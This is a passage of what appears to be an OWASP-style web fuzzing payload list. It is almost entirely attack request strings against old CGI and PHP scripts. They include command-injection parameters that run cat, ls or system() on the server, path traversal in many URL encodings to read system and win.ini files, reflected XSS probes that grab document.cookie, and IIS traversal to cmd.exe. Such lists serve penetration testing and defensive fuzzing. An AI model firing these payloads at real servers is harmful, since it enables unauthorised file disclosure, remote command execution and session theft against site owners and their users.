calendar_admin.pl?config=|cat%20{KNOWNFILE}|<br /> calender_admin.pl<br /> campas?%0acat%0a{KNOWNFILE}%0a<br /> cart.pl<br /> cart.pl?db='<br /> cartmanager.cgi<br /> cbmc/forums.cgi<br /> ccbill-local.cgi?cmd=MENU<br /> ccbill-local.pl?cmd=MENU<br /> cgforum.cgi<br /> cgi-lib.pl<br /> cgicso?query=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> cgicso?query=AAA<br /> cgiforum.pl?thesection=../../../../../../../../../..{KNOWNFILE}%00<br /> cgiwrap<br /> cgiwrap/%3Cfont%20color=red%3E<br /> cgiwrap/~@U<br /> cgiwrap/~JUNK(5)<br /> cgiwrap/~root<br /> change-your-password.pl<br /> classified.cgi<br /> classifieds<br /> classifieds.cgi<br /> classifieds/classifieds.cgi<br /> classifieds/index.cgi<br /> clickcount.pl?view=test<br /> clickresponder.pl<br /> code.php<br /> code.php3<br /> com5..........................................................................................................................................................................................................................box<br /> com5.java<br /> com5.pl<br /> commandit.cgi<br /> commerce.cgi?page=../../../../../../../../../..{KNOWNFILE}%00index.html<br /> common.php?f=0&amp;ForumLang=../../../../../../../../../..{KNOWNFILE}<br /> common/listrec.pl<br /> common/listrec.pl?APP=qmh-news&amp;TEMPLATE=;ls%20/etc|<br /> compatible.cgi<br /> count.cgi<br /> counter-ord<br /> counterbanner<br /> counterbanner-ord<br /> counterfiglet-ord<br /> counterfiglet/nc/<br /> cs<br /> csChatRBox.cgi?command=savesetup&amp;setup=;system('cat%20{KNOWNFILE}')<br /> csGuestBook.cgi?command=savesetup&amp;setup=;system('cat%20{KNOWNFILE}')<br /> csLive<br /> csNews.cgi<br /> csNewsPro.cgi?command=savesetup&amp;setup=;system('cat%20{KNOWNFILE}')<br /> csPassword.cgi<br /> csPassword/csPassword.cgi<br /> csh<br /> cstat.pl<br /> cutecast/members/<br /> cvsblame.cgi?file=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> cvslog.cgi?file=*&amp;rev=&amp;root=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> cvslog.cgi?file=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> cvsquery.cgi?branch=&lt;script&gt;alert('XSS')&lt;/script&gt;&amp;file=&lt;script&gt;alert(document.domain)&lt;/script&gt;&amp;date=&lt;script&gt;alert(document.domain)&lt;/script&gt;<br /> cvsquery.cgi?module=&lt;script&gt;alert('XSS')&lt;/script&gt;&amp;branch=&amp;dir=&amp;file=&amp;who=&lt;script&gt;alert(document.domain)&lt;/script&gt;&amp;sortby=Date&amp;hours=2&amp;date=week<br /> cvsqueryform.cgi?cvsroot=/cvsroot&amp;module=&lt;script&gt;alert('XSS')&lt;/script&gt;&amp;branch=HEAD<br /> dansguardian.pl?DENIEDURL=&lt;/a&gt;&lt;script&gt;alert('XSS');&lt;/script&gt;<br /> dasp/fm_shell.asp<br /> data/fetch.php?page=<br /> date<br /> day5datacopier.cgi<br /> day5datanotifier.cgi<br /> db2www/library/document.d2w/show<br /> db4web_c/dbdirname/{KNOWNFILE}<br /> db_manager.cgi<br /> dbman/db.cgi?db=no-db<br /> dcforum.cgi?az=list&amp;forum=../../../../../../../../../..{KNOWNFILE}%00<br /> dcshop/auth_data/auth_user_file.txt<br /> dcshop/orders/orders.txt<br /> dfire.cgi<br /> diagnose.cgi<br /> dig.cgi<br /> directorypro.cgi?want=showcat&amp;show=../../../../../../../../../..{KNOWNFILE}%00<br /> displayTC.pl<br /> dnewsweb<br /> donothing<br /> dose.pl?daily&amp;somefile.txt&amp;|ls|<br /> download.cgi<br /> dumpenv.pl<br /> edit.pl<br /> empower?DB=whateverwhatever<br /> emu/html/emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> emumail/emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> enter.cgi<br /> environ.cgi<br /> environ.pl<br /> environ.pl?param1=&lt;script&gt;alert(document.cookie)&lt;/script&gt;<br /> erba/start/%3Cscript%3Ealert('XSS');%3C/script%3E<br /> eshop.pl/seite=;cat%20eshop.pl|<br /> ex-logger.pl<br /> excite<br /> excite;IF<br /> ezadmin.cgi<br /> ezboard.cgi<br /> ezman.cgi<br /> ezshopper/loadpage.cgi?user_id=1&amp;file=|cat%20{KNOWNFILE}|<br /> ezshopper/search.cgi?user_id=id&amp;database=dbase1.exm&amp;template=../../../../../../..{KNOWNFILE}&amp;distinct=1<br /> ezshopper2/loadpage.cgi<br /> ezshopper3/loadpage.cgi<br /> faqmanager.cgi?toc={KNOWNFILE}%00<br /> faxsurvey?cat%20{KNOWNFILE}<br /> filemail<br /> filemail.pl<br /> finger<br /> finger.pl<br /> flexform<br /> flexform.cgi<br /> fom.cgi?file=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> fom/fom.cgi?cmd=&lt;script&gt;alert('XSS')&lt;/script&gt;&amp;file=1&amp;keywords=vulnerable<br /> formmail<br /> formmail.cgi<br /> formmail.cgi?recipient=root@localhost%0Acat%20{KNOWNFILE}&amp;email=joeuser@localhost&amp;subject=test<br /> formmail.pl<br /> formmail.pl?recipient=root@localhost%0Acat%20{KNOWNFILE}&amp;email=joeuser@localhost&amp;subject=test<br /> formmail?recipient=root@localhost%0Acat%20{KNOWNFILE}&amp;email=joeuser@localhost&amp;subject=test<br /> fortune<br /> ftp.pl<br /> ftpsh<br /> gH.cgi<br /> gbadmin.cgi?action=change_adminpass<br /> gbadmin.cgi?action=change_automail<br /> gbadmin.cgi?action=colors<br /> gbadmin.cgi?action=setup<br /> gbook/gbook.cgi?_MAILTO=xx;ls<br /> gbpass.pl<br /> generate.cgi?content=../../../../../../../../../../windows/win.ini%00board=board_1<br /> generate.cgi?content=../../../../../../../../../../winnt/win.ini%00board=board_1<br /> generate.cgi?content=../../../../../../../../../..{KNOWNFILE}%00board=board_1<br /> getdoc.cgi<br /> gettransbitmap<br /> glimpse<br /> gm-authors.cgi<br /> gm-cplog.cgi<br /> gm.cgi<br /> guestbook.cgi<br /> guestbook.cgi?user=cpanel&amp;template=|/bin/cat%20{KNOWNFILE}|<br /> guestbook.pl<br /> guestbook/passwd<br /> handler.cgi<br /> hitview.cgi<br /> horde/test.php<br /> horde/test.php?mode=phpinfo<br /> hsx.cgi?show=../../../../../../../../../../..{KNOWNFILE}%00<br /> htgrep?file=index.html&amp;hdr={KNOWNFILE}<br /> html2chtml.cgi<br /> html2wml.cgi<br /> htmlscript?../../../../../../../../../..{KNOWNFILE}<br /> htsearch.cgi?words=%22%3E%3Cscript%3Ealert%'XSS'%29%3B%3C%2Fscript%3E<br /> htsearch?-c/nonexistant<br /> htsearch?config=foofighter&amp;restrict=&amp;exclude=&amp;method=and&amp;format=builtin-long&amp;sort=score&amp;words=<br /> htsearch?exclude=%60{KNOWNFILE}%60<br /> ibill.pm<br /> icat<br /> if/admin/nph-build.cgi<br /> ikonboard/help.cgi?<br /> imageFolio.cgi<br /> imagefolio/admin/admin.cgi<br /> imagemap<br /> include/new-visitor.inc.php<br /> index.js0x70<br /> index.pl<br /> info2www<br /> info2www '(../../../../../../../bin/mail root &lt;{KNOWNFILE}&gt;<br /> infosrch.cgi<br /> ion-p?page=../../../../..{KNOWNFILE}<br /> jailshell<br /> jj<br /> journal.cgi?folder=journal.cgi%00<br /> ksh<br /> lastlines.cgi?process<br /> listrec.pl<br /> loadpage.cgi?user_id=1&amp;file=../../../../../../../../../..{KNOWNFILE}<br /> loadpage.cgi?user_id=1&amp;file=..\\..\\..\\..\\..\\..\\..\\..\\winnt\\win.ini<br /> log-reader.cgi<br /> log/<br /> log/nether-log.pl?checkit<br /> login.cgi<br /> login.pl<br /> login.pl?course_id=\<br /> logit.cgi<br /> logs.pl<br /> logs/<br /> logs/access_log<br /> logs/error_log<br /> lookwho.cgi<br /> ls<br /> lwgate<br /> lwgate.cgi<br /> magiccard.cgi?pa=3Dpreview&amp;amp;next=3Dcustom&amp;amp;page=3D../../../../../../../../../..{KNOWNFILE}<br /> mail<br /> mail/emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> mail/nph-mr.cgi?do=loginhelp&amp;configLanguage=../../../../../../..{KNOWNFILE}%00<br /> mailit.pl<br /> maillist.cgi<br /> maillist.pl<br /> mailnews.cgi<br /> main.cgi?board=FREE_BOARD&amp;command=down_load&amp;filename=../../../../../../../../../..{KNOWNFILE}<br /> majordomo.pl<br /> man2html<br /> mastergate/search.cgi?search=0&amp;search_on=all<br /> meta.pl<br /> mgrqcgi<br /> mini_logger.cgi<br /> mmstdod.cgi<br /> moin.cgi?test<br /> mojo/mojo.cgi<br /> mrtg.cfg?cfg=../../../../../../../..{KNOWNFILE}<br /> mrtg.cgi?cfg=../../../../../../../..{KNOWNFILE}<br /> mrtg.cgi?cfg=blah<br /> ms_proxy_auth_query/<br /> mt-static/<br /> mt-static/mt-check.cgi<br /> mt-static/mt-load.cgi<br /> mt-static/mt.cfg<br /> mt/<br /> mt/mt-check.cgi<br /> mt/mt-load.cgi<br /> mt/mt.cfg<br /> multihtml.pl?multi={KNOWNFILE}%00html<br /> musicqueue.cgi<br /> myguestbook.cgi?action=view<br /> namazu.cgi<br /> nbmember.cgi?cmd=list_all_users<br /> netauth.cgi?cmd=show&amp;page=../../../../../../../../../..{KNOWNFILE}<br /> netpad.cgi<br /> newsdesk.cgi?t=../../../../../../../../../..{KNOWNFILE}<br /> nimages.php<br /> nlog-smb.cgi<br /> nlog-smb.pl<br /> non-existent.pl<br /> noshell<br /> nph-emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> nph-error.pl<br /> nph-exploitscanget.cgi<br /> nph-maillist.pl<br /> nph-publish<br /> nph-publish.cgi<br /> nph-showlogs.pl?files=../../&amp;filter=.*&amp;submit=Go&amp;linecnt=500&amp;refresh=0<br /> nph-test-cgi<br /> ntitar.pl<br /> opendir.php?{KNOWNFILE}<br /> orders/orders.txt<br /> pagelog.cgi<br /> pals-cgi?palsAction=restart&amp;documentName={KNOWNFILE}<br /> parse-file<br /> pass<br /> passwd<br /> passwd.txt<br /> password<br /> pbcgi.cgi?name=Joe%Camel&amp;email=%3C<br /> perl<br /> perl?-v<br /> perlshop.cgi<br /> pfdispaly.cgi?'%0A/bin/cat%20{KNOWNFILE}|'<br /> pfdispaly.cgi?../../../../../../../../../..{KNOWNFILE}<br /> pfdisplay.cgi?'%0A/bin/cat%20{KNOWNFILE}|'<br /> phf<br /> phf.cgi?QALIA<br /> phf?Qname=root%0Acat%20{KNOWNFILE}%20<br /> photo/<br /> photo/manage.cgi<br /> photo/protected/manage.cgi<br /> php-cgi<br /> php.cgi?{KNOWNFILE}<br /> plusmail<br /> pollit/Poll_It_<br /> pollssi.cgi<br /> post-query<br /> post_query<br /> postcards.cgi<br /> powerup/r.cgi?FILE=../../../../../../../../../..{KNOWNFILE}<br /> printenv<br /> printenv.tmp<br /> probecontrol.cgi?command=enable&amp;username=cancer&amp;password=killer<br /> processit.pl<br /> profile.cgi<br /> pu3.pl<br /> publisher/search.cgi?dir=jobs&amp;template=;cat%20{KNOWNFILE}|&amp;output_number=10<br /> query<br /> query?mss=%2e%2e/config<br /> quickstore.cgi?page=../../../../../../../../../..{KNOWNFILE}%00html&amp;cart_id=<br /> quikstore.cfg<br /> quizme.cgi<br /> r.cgi?FILE=../../../../../../../../../..{KNOWNFILE}<br /> ratlog.cgi<br /> redirect<br /> register.cgi<br /> replicator/webpage.cgi/<br /> responder.cgi<br /> retrieve_password.pl<br /> rksh<br /> rmp_query<br /> robadmin.cgi<br /> robpoll.cgi<br /> rpm_query<br /> rsh<br /> rtm.log<br /> rwcgi60<br /> rwcgi60/showenv<br /> rwwwshell.pl<br /> sawmill5?rfcf+%22{KNOWNFILE}%22+spbn+1,1,21,1,1,1,1<br /> sawmill?rfcf+%22<br /> sbcgi/sitebuilder.cgi<br /> scoadminreg.cgi<br /> scripts/*%0a.pl<br /> search.cgi<br /> search.cgi?..\\..\\..\\..\\..\\..\\..\\..\\..\\windows\\win.ini<br /> search.cgi?..\\..\\..\\..\\..\\..\\..\\..\\..\\winnt\\win.ini<br /> search.php?searchstring=&lt;script&gt;alert(document.cookie)&lt;/script&gt;<br /> search.pl<br /> search.pl?Realm=All&amp;Match=0&amp;Terms=test&amp;nocpp=1&amp;maxhits=10&amp;;Rank=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> search.pl?form=../../../../../../../../../..{KNOWNFILE}%00<br /> search/search.cgi?keys=*&amp;prc=any&amp;catigory=../../../../../../../../../../../../etc<br /> sendform.cgi<br /> sendpage.pl?message=test\;/bin/ls%20/etc;echo%20\message<br /> sendtemp.pl?templ=../../../../../../../../../..{KNOWNFILE}<br /> session/adminlogin<br /> sewse?/home/httpd/html/sewse/jabber/comment2.jse+{KNOWNFILE}<br /> sh<br /> shop.cgi?page=../../../../../../..{KNOWNFILE}<br /> shop.pl/page=;cat%20shop.pl|<br /> shop/auth_data/auth_user_file.txt<br /> shop/orders/orders.txt<br /> shopper.cgi?newpage=../../../../../../../../../..{KNOWNFILE}<br /> shopplus.cgi?dn=domainname.com&amp;cartid=%CARTID%&amp;file=;cat%20{KNOWNFILE}|<br /> show.pl<br /> showcheckins.cgi?person=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> showuser.cgi<br /> simple/view_page?mv_arg=|cat%20{KNOWNFILE}|<br /> simplestguest.cgi<br /> simplestmail.cgi<br /> smartsearch.cgi?keywords=|/bin/cat%20{KNOWNFILE}|<br /> smartsearch/smartsearch.cgi?keywords=|/bin/cat%20{KNOWNFILE}|<br /> sojourn.cgi?cat=../../../../../../../../../../etc/password%00<br /> spin_client.cgi?aaaaaaaa<br /> ss<br /> sscd_suncourier.pl<br /> ssi//%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e{KNOWNFILE}<br /> start.cgi/%3Cscript%3Ealert('XSS');%3C/script%3E<br /> stat.pl<br /> stat/<br /> stats-bin-p/reports/index.html<br /> stats.pl<br /> stats.prf<br /> stats/<br /> stats/statsbrowse.asp?filepath=c:\&amp;Opt=3<br /> stats_old/<br /> statsconfig<br /> statusconfig.pl<br /> statview.pl<br /> store.cgi?<br /> store/agora.cgi?cart_id=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> store/agora.cgi?page=whatever33.html<br /> store/index.cgi?page=../../../../../../../..{KNOWNFILE}<br /> story.pl?next=../../../../../../../../../..{KNOWNFILE}%00<br /> story/story.pl?next=../../../../../../../../../..{KNOWNFILE}%00<br /> survey<br /> survey.cgi<br /> sws/admin.html<br /> sws/manager.pl<br /> tablebuild.pl<br /> talkback.cgi?article=../../../../../../../..{KNOWNFILE}%00&amp;action=view&amp;matchview=1<br /> tcsh<br /> technote/main.cgi?board=FREE_BOARD&amp;command=down_load&amp;filename=/../../../../../../../../../..{KNOWNFILE}<br /> test-cgi.tcl<br /> test-cgi?/*<br /> test-env<br /> test.cgi<br /> test/test.cgi<br /> texis/junk<br /> texis/phine<br /> textcounter.pl<br /> tidfinder.cgi<br /> tigvote.cgi<br /> title.cgi<br /> tpgnrock<br /> traffic.cgi?cfg=../../../../../../../..{KNOWNFILE}<br /> troops.cgi<br /> ttawebtop.cgi/?action=start&amp;pg=../../../../../../../../../..{KNOWNFILE}<br /> ultraboard.cgi<br /> ultraboard.pl<br /> unlg1.1<br /> unlg1.2<br /> update.dpgs<br /> upload.cgi<br /> uptime<br /> urlcount.cgi?%3CIMG%20<br /> ustorekeeper.pl?command=goto&amp;file=../../../../../../../../../..{KNOWNFILE}<br /> utm/admin<br /> utm/utm_stat<br /> view-source<br /> view-source?view-source<br /> view_item?HTML_FILE=../../../../../../../../../..{KNOWNFILE}%00<br /> viewcvs.cgi/viewcvs/?cvsroot=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> viewcvs.cgi/viewcvs/viewcvs/?sortby=rev\<br /> viewlogs.pl<br /> viewsource?{KNOWNFILE}<br /> viralator.cgi<br /> virgil.cgi<br /> vote.cgi<br /> vpasswd.cgi<br /> vq/demos/respond.pl?&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> w3-msql<br /> w3-sql<br /> wais.pl<br /> way-board.cgi?db={KNOWNFILE}%00<br /> way-board/way-board.cgi?db={KNOWNFILE}%00<br /> webais<br /> webbbs.cgi<br /> webbbs/webbbs_config.pl?name=joe&amp;email=test@example.com&amp;body=aaaaffff&amp;followup=10;cat%20{KNOWNFILE}<br /> webcart/webcart.cgi?CONFIG=mountain&amp;CHANGE=YE<br /> webdist.cgi?distloc=;cat%20{KNOWNFILE}<br /> webdriver<br /> webgais<br /> webif.cgi<br /> webmail/html/emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> webmap.cgi<br /> webnews.pl<br /> webplus?about<br /> webplus?script=../../../../../../../../../..{KNOWNFILE}<br /> websendmail<br /> webspirs.cgi?sp.nextform=../../../../../../../../../..{KNOWNFILE}<br /> webutil.pl<br /> webutils.pl<br /> webwho.pl<br /> where.pl?sd=ls%20/etc<br /> whois.cgi?action=load&amp;whois=%3Bid<br /> whois.cgi?lookup=;&amp;ext=/bin/cat%20{KNOWNFILE}<br /> whois/whois.cgi?lookup=;&amp;ext=/bin/cat%20{KNOWNFILE}<br /> whois_raw.cgi?fqdn=%0Acat%20{KNOWNFILE}<br /> windmail<br /> wrap<br /> wrap.cgi<br /> ws_ftp.ini<br /> www-sql<br /> wwwadmin.pl<br /> wwwboard.cgi.cgi<br /> wwwboard.pl<br /> wwwstats.pl<br /> wwwthreads/3tvars.pm<br /> wwwthreads/w3tvars.pm<br /> wwwwais<br /> zml.cgi?file=../../../../../../../../../..{KNOWNFILE}%00<br /> zsh<br /> &lt;/pre&gt;<br /> <br /> === Windows Directory Traversal (Update: 17 March 2010 ===<br /> &lt;pre&gt;# Windows Directory Traversal (Update: 17 March 2010<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> ../../../../../../../../../../../../localstart.asp%00<br /> ../../../../../../../../../../../../localstart.asp<br /> \..\WINDOWS\win.ini<br /> \..\..\WINDOWS\win.ini<br /> \..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\..\..\WINDOWS\win.ini<br /> ..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> /%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..winnt/desktop.ini<br /> &lt;/pre&gt;<br /> <br /> === Generic 8 Directory Deep Traversal Fuzz (17 March 2010) ===<br /> &lt;pre&gt;<br /> # Generic 8 Directory Deep Traversal Fuzz (17 March 2010) <br /> # Derived from the awesome &quot;Directory Traversal Fuzzing Code&quot; v0.2 by Luca Carettoni<br /> # Did some cleanup &amp; removed anything to the right of {FILE} for inclusion in a<br /> # separate fuzzfile for more flexibiity, for the OWASP Fuzzing Code Database. <br /> # adam.muntner@uietmove.com <br /> <br /> ../{FILE}<br /> ../../{FILE}<br /> ../../../{FILE}<br /> ../../../../{FILE}<br /> ../../../../../{FILE}<br /> ../../../../../../{FILE}<br /> ../../../../../../../{FILE}<br /> ../../../../../../../../{FILE}<br /> ..%2f{FILE}<br /> ..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> %2e%2e/{FILE}<br /> %2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ..%252f{FILE}<br /> ..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> %252e%252e/{FILE}<br /> %252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> ..\{FILE}<br /> ..\..\{FILE}<br /> ..\..\..\{FILE}<br /> ..\..\..\..\{FILE}<br /> ..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\..\..\{FILE}<br /> ..%255c{FILE}<br /> ..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> %2e%2e\{FILE}<br /> %2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %252e%252e\{FILE}<br /> %252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> ..%c0%af{FILE}<br /> ..%c0%af..%c0%af{FILE}<br /> ..%c0%af..%c0%af..%c0%af{FILE}<br /> ..%c0%af..%c0%af..%c0%af..%c0%af{FILE}<br /> ..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af{FILE}<br /> ..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af{FILE}<br /> ..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af{FILE}<br /> ..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af{FILE}<br /> %c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae%c0%af{FILE}<br /> %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}<br /> 